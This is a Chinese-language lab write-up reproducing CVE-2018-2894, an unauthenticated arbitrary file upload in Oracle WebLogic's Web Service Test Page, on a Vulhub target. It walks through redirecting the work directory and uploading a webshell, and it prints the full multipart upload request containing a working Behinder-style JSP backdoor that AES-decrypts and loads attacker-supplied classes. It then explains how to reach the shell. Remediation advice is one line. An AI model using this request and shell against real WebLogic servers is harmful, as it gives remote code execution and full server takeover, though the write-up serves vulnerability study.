漏洞描述
Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,可直接获取服务器权限。两个页面分别为/ws_utc/begin.do、/ws_utc/config.do。
Oracle 在2018年7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在’‘生产模式’’ 下默认不开启,所以该漏洞有一定限制
漏洞影响
漏洞影响版本编号
Weblogic : 10.3.6.0
Weblogic : 12.1.3.0
Weblogic : 12.2.1.2
Weblogic : 12.2.1.3
漏洞复现
我这里使用Vulhub靶场,地址:https://vulhub.org/
进入对应的目录CVE编号-CVE-2018-2894
启动
端口号为7001
(1)访问靶场
http://192.168.153.128:7001/console
使用如下命令查看后台密码进行登录
tips:密码都是随机的
docker-compose logs | grep password
点击base_domain
的配置,在“高级”中开启“启用 Web 服务测试页”选项:
(2)访问漏洞利用点
http://your:ip:7001/ws_utc/config.do
修改下方工作目录为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
将work Home Dir设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的
(3)点击 左边 --》 安全 --》添加
开启抓包 上传冰蝎jsp马子, 点击提交
请求包和响应包如下:
POST /ws_utc/resources/setting/keystore?timestamp=1659858948412 HTTP/1.1
Host: 192.168.153.128:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------1205793539201273369027795603
Content-Length: 1520
Origin: http://192.168.153.128:7001
Connection: close
Referer: http://192.168.153.128:7001/ws_utc/config.do
Cookie: SESS4fb3062c01f0cbc3b798d07b6f4dbfa0=26D2J7Tnz8tTXKlTD2H8bz7frHhgRIq_6fEuC4lKMr8; Drupal.toolbar.collapsed=0; JSESSIONID=_1B3SYvUgSu0Ix70uDPVw9DiaU1N8Eh4lzuUsf8_fKq-VT3oI_0I!-346528048
Upgrade-Insecure-Requests: 1
-----------------------------1205793539201273369027795603
Content-Disposition: form-data; name="ks_name"
ran
-----------------------------1205793539201273369027795603
Content-Disposition: form-data; name="ks_edit_mode"
false
-----------------------------1205793539201273369027795603
Content-Disposition: form-data; name="ks_password_front"
ranran
-----------------------------1205793539201273369027795603
Content-Disposition: form-data; name="ks_password"
ranran
-----------------------------1205793539201273369027795603
Content-Disposition: form-data; name="ks_password_changed"
true
-----------------------------1205793539201273369027795603
Content-Disposition: form-data; name="ks_filename"; filename="shell.jspx.jsp"
Content-Type: application/octet-stream
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>
-----------------------------1205793539201273369027795603--
查看源码也可以获取时间戳
(4)使用获取到的时间戳访问webshell
http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
http://vulfocus.fofa.so:45342/ws_utc/css/config/keystore/1636992939120_shell.jsp
1659860338407
修复建议
升级到最新版本
总结
一、访问 存在漏洞地址ip:7001/ws_utc/config.do
二、修改工作目录
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
三、抓包或查看源码获取时间戳
四、获取时间戳和文件名
五、访问页面 http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
六、GetShell